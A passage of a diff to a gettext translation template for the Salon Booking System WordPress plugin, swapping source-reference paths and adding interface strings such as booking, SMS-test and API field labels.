Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:138\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34\n+msgid \"Telephone\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43\n-msgid \"All Service Categories\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:78\n+msgid \"Tell us about your business to customize your booking experience\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:238\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:238\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:240\n+msgid \"Terms & Conditions\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44\n-msgid \"Edit Service Category\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php:50\n+msgid \"test (sms sent by email to the admin)\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45\n-msgid \"Update Service Category\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:258\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:258\n+msgid \"Test sms sent with success\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46\n-msgid \"Add New Service Category\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:141\n+msgid \"Testing... This may take up to 30 seconds...\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:47\n-msgid \"New Service Category Name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+msgid \"Text\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:48\n-msgid \"Service Category\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:118\n+msgid \"Text color\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93, src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:96\n-msgid \"Services Categories\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+msgid \"Textarea\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:157\n-msgid \"Not defined\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:229\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:229\n+msgid \"Thank you for your booking!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186\n-msgid \"You cannot modify this taxonomy.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148\n+msgid \"Thank you for your review. It will help us improving our services.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:192\n-msgid \"Manage service categories\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:17\n+msgid \"Thank you page\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293, src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323\n-msgid \"Category image\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:202\n+msgid \"The additional for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509, src\u002FSLN\u002FThird\u002FGoogleScope.php:829, src\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:405, src\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:829, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:405, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:829, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:829, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:829, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:509, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:829, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:405, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:385, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:385, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:251\n-msgid \"Multiple attendants selection is disabled. You must select one attendant for all services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:706\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:809\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:706\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:809\n+msgid \"The address for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FThird\u002FGoogleScope.php:106, src\u002FSLN\u002FThird\u002FGoogleScope.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:123\n-msgid \"Operation completed!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1642\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1642\n+msgid \"The admin description for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FThird\u002FGoogleScope.php:156, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:156, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:156\n-msgid \"Google Client is not connected!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1853\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1853\n+msgid \"The admin note for the booking.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:603\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:739\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:603\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:739\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:693\n+msgid \"The always.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FThird\u002FGoogleScope.php:454, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:454, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:454, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:454, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:454, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:454\n-msgid \"Choose among your Calendars\"\n+#: 